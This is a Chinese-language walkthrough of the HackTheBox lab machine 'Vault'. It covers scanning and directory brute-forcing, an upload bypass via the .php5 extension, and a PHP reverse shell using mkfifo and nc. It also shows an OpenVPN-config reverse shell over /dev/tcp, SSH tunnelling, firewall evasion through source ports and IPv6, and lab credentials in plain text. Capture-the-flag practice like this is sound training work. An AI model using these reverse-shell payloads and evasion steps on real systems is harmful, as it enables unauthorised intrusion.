【HTB系列】靶機Vault的滲透測試詳解

  • 2019 年 10 月 7 日
  • 筆記

Kali: 10.10.14.213

靶機地址:10.10.10.109

先用nmap探測靶機

nmap -sC -sT -sV 10.10.10.109

掃描結果如下:

看看80端口有什麼東西

我們用gobuster進行探測下

gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100

掃了很久沒有掃出什麼東西

後來注意到這句話

We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

嘗試在Url後面加上/sparklay

~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays

我們打開login.php

打開下admin.php

嘗試過繞過以及常見帳戶密碼

奇怪的是發現提交的帳戶密碼竟然是用GET方式,覺得很奇怪試着攔截登陸的數據包並放到sqlmap跑跑看,發現並沒有注入點

sqlmap -r sparklays-admin-login.req –batch

我們在打開design

是Forbidden,那麼這個目錄下我們在gobuster下

gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design

打開upload.php

打開design.html看看

點【Change Logo】

我們寫一個反彈的shell進行上傳

<?phpsystem('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');?>

被拒絕上傳了

我們來FUZZ下運行上傳的後綴名看看能不能通過後綴名進行繞過

這裡我用到這個字典:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

這裡我用burp的intruder模塊進行fuzz

發現php5是上傳成功的,我們把shell改成shell.php5再次上傳

然後我們kali 開啟監聽1337端口

我們在訪問

http://10.10.10.109/sparklays/design/uploads/shell.php5

然後就會得到一個shell

發現有2個用戶

我在dave的Desktop目錄下面看到一個ssh文件

Cat下得到一下內容

dave:Dav3therav3123

那麼我們通過ssh連接到靶機上

我們在看看dave桌面上的其他文件

第一個key還不知道是什麼意思就先留着。

第二個Servers應該是對應服務器的IP以及該服務器是什麼

我們現在對DNS服務器進行掃描看看,但是靶機上面沒有nmap 但是我們可以用nc當作端口掃描器

我們可以看到192.168.122.4開放了22和80端口。由於是內網的環境我們是無法訪問到192.168.122.4的,所以我們需要做一個隧道把192.168.122.4的80端口映射到我們本地的1234端口

ssh -L 1234:192.168.122.4:80 [email protected]

點擊【Click here to modify your DNS Settings】

發現是Not Found

點擊【Click here to test your VPN Configuration】

打開後是一個VPN配置信息,並允許我們測試我們的VPN

這裡我找一遍關於如何用ovpn配置文件反彈shell的教程

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

我們找下靶機的內網IP地址

讓靶機監聽9002端口

remote 192.168.122.1 nobind dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"

先點【Update file】然後再點【Test VPN】

就會得到一個shell

得到userflag

接下來是獲取root flag

我們在dave的目錄裏面找到一個ssh憑藉

dave:dav3gerous567

我們直接通過ssh連接DNS服務器

我們嘗試sudo -i切換為root,

但是目錄裏面沒有我們想要的rootflag

之前我們注意到在dave的機器上有三台服務器,但是最後的The vault 是沒有給出IP地址的,root flag可能就在那台機器上,所以我們需要去找線索

我們在DNS的hosts文件中找到了The vault的IP地址

但是DNS服務器是無法ping通的

但是DNS確實存在192.168.5.2的路由,猜測應該是禁止ping

後來發現DNS存在nmap 我們用nmap來進行端口探測

-Pn:表示默認主機在線,跳過主機發現

-v:顯示詳細信息

-n:不進行DNS解析

發現2個端口都被closed,可能是真的關閉,但是也有可能是防火牆的原因

我們嘗試使用nmap 的 –source-port參數

每個TCP數據包帶有源端口號。默認情況下Nmap會隨機選擇一個可用的傳出源端口來探測目標。該–source-port選項將強制Nmap使用指定的端口作為源端口。這種技術是利用了防火牆盲目地接受基於特定端口號的傳入流量的弱點。端口21(FTP),端口53(DNS)和67(DHCP)是這種掃描類型的常見端口。

發現一個987端口,我們用nc從本地的53端口進行連接

是openssh服務

對於這種防火牆我們可以嘗試使用IPV6的規則繞過

先查看DNS服務器是否支持IPV6

FF02::1指所有開啟了IPv6組播的主機,和IGMP中的224.0.0.1對應

說明DNS服務器支持IPV6

我們在查找下DNS服務器的的 鄰居

再看下DNS的路由和ip信息

我們可以看到192.168.5.0/24的流量都要通過ens3到192.168.122.5去

在192.168.155.5是防火牆的地址

我們在看DNS的鄰居,發現還有3條IPV6,說明vault的IPV6應該在裏面

我們在查看arp

192.168.122.5對應的ipv6是fe80::5054:ff:fe3a:3bd5

下面這2條ipv6的地址就是 valut和firewall的

fe80::5054:ff:fec6:7066

fe80::5054:ff:fee1:7441

我們直接用nmap進行端口掃描,如果防火牆沒有配置ipv6的規則的話如是valut的地址就會出現之前的987端口

這樣我們就確定了fe80::5054:ff:fec6:7066是vault的IPV6地址,並且防火牆規則並沒有阻攔ipv6的地址,同時我們的DNS服務器可以直接通過ipv6繞過防火牆跟vault進行通訊

那麼我們直接ssh進行連接

密碼跟之前的一樣:dav3gerous567

我們可以看到這個pgp的ID為D1EB1F03

我們看下vault系統是否存在密鑰,不存在

但是我們在dave@ubuntu上找到了

所以我們需要把文件發送到dave@ubuntu進行解密

我們退回到dave@DNS上,利用scp將文件拷貝出來

scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .

輸入密碼:dav3gerous567

然後我們需要在把這個文件傳送到dave@ubuntu上面

我們在ubuntu上面執行

然後在DNS上把文件傳輸過來

這樣文件就到了Ubuntu上面了

我們用md5sum來校驗下文件的完整性

文件正常傳輸的

我們用gpg 解密下root.txt.gpg

要求我們輸入密碼

密碼就是我們之前找到的key

得到root flag